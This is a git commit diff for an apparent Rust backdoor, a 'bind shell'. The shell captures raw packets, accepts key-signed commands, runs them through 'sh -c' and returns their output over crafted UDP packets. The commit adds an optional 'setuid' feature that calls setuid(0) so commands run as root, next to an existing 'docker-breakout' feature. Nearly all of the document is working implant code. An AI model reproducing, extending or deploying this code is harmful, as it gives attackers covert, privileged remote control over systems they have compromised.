feat: added setuid capabilities

This commit is contained in:
Andrew Rioux 2023-08-23 22:40:21 -04:00
parent 1517ca6f1c
commit 180b29531a
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
4 changed files with 37 additions and 17 deletions

5
Cargo.lock generated
View File

@ -170,6 +170,7 @@ dependencies = [
"cc", "cc",
"ed25519-dalek", "ed25519-dalek",
"ex-bind-shell-key-generator", "ex-bind-shell-key-generator",
"libc",
"log", "log",
"pcap-sys", "pcap-sys",
"simple_logger", "simple_logger",
@ -356,9 +357,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
[[package]] [[package]]
name = "libc" name = "libc"
version = "0.2.142" version = "0.2.147"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a987beff54b60ffa6d51982e1aa1146bc42f19bd26be28b0586f252fccf5317" checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3"
[[package]] [[package]]
name = "log" name = "log"

View File

@ -14,6 +14,7 @@ tokio-stream = "0.1.14"
ed25519-dalek = "1.0.1" ed25519-dalek = "1.0.1"
log = "0.4.17" log = "0.4.17"
simple_logger = "4.1.0" simple_logger = "4.1.0"
libc = { version = "0.2.147", optional = true }
[build-dependencies] [build-dependencies]
cc = "1.0" cc = "1.0"
@ -21,3 +22,4 @@ cc = "1.0"
[features] [features]
docker-breakout = [] docker-breakout = []
no-exit = [] no-exit = []
setuid = ["libc"]

View File

@ -35,7 +35,11 @@ async fn handled_main() -> anyhow::Result<()> {
log::info!("Pubkey is good"); log::info!("Pubkey is good");
let port = std::env::args().skip(1).next().and_then(|a| a.parse::<u16>().ok()).unwrap_or(54248); let port = std::env::args()
.skip(1)
.next()
.and_then(|a| a.parse::<u16>().ok())
.unwrap_or(54248);
#[cfg(feature = "docker-breakout")] #[cfg(feature = "docker-breakout")]
unsafe { unsafe {
@ -105,8 +109,9 @@ async fn handled_main() -> anyhow::Result<()> {
pubkey_clone, pubkey_clone,
pkt, pkt,
packet_sender_clone, packet_sender_clone,
exit_sender_clone exit_sender_clone,
).await )
.await
{ {
log::warn!("Error handling packet: {e}"); log::warn!("Error handling packet: {e}");
} }
@ -129,7 +134,7 @@ async fn handle_command(
pubkey: Arc<PublicKey>, pubkey: Arc<PublicKey>,
eth: EthernetPacket, eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>, send_response: mpsc::Sender<EthernetPacket>,
send_exit: mpsc::Sender<()> send_exit: mpsc::Sender<()>,
) -> anyhow::Result<()> { ) -> anyhow::Result<()> {
use pcap_sys::packets::*; use pcap_sys::packets::*;
let eth_pkt = eth.pkt(); let eth_pkt = eth.pkt();
@ -195,6 +200,13 @@ async fn handle_command(
_ => {} _ => {}
} }
#[cfg(feature = "setuid")]
let current_id = unsafe {
let id = libc::getuid();
libc::setuid(0);
id
};
let Ok(mut child) = (process::Command::new("sh") let Ok(mut child) = (process::Command::new("sh")
.arg("-c") .arg("-c")
.arg(cmd) .arg(cmd)
@ -212,11 +224,11 @@ async fn handle_command(
{ {
let stdout = match &mut child.stdout { let stdout = match &mut child.stdout {
Some(ref mut stdout) => stdout, Some(ref mut stdout) => stdout,
None => bail!("could not get child process stdout") None => bail!("could not get child process stdout"),
}; };
let stderr = match &mut child.stderr { let stderr = match &mut child.stderr {
Some(ref mut stderr) => stderr, Some(ref mut stderr) => stderr,
None => bail!("could not get child process stderr") None => bail!("could not get child process stderr"),
}; };
enum Output { enum Output {
@ -245,11 +257,11 @@ async fn handle_command(
let fullmsg = &[ let fullmsg = &[
match out_type { match out_type {
Output::Out => &[1], Output::Out => &[1],
Output::Err => &[2] Output::Err => &[2],
}, },
msg msg,
] ]
.concat(); .concat();
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg); let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
let ip_packet = IPv4Packet::construct( let ip_packet = IPv4Packet::construct(
@ -279,6 +291,11 @@ async fn handle_command(
.try_into() .try_into()
.unwrap(); .unwrap();
#[cfg(feature = "setuid")]
if current_id != 0 {
unsafe { libc::setuid(current_id) };
}
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]); let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
let done_ip_packet = IPv4Packet::construct( let done_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(), ip_pkt.dest_ip(),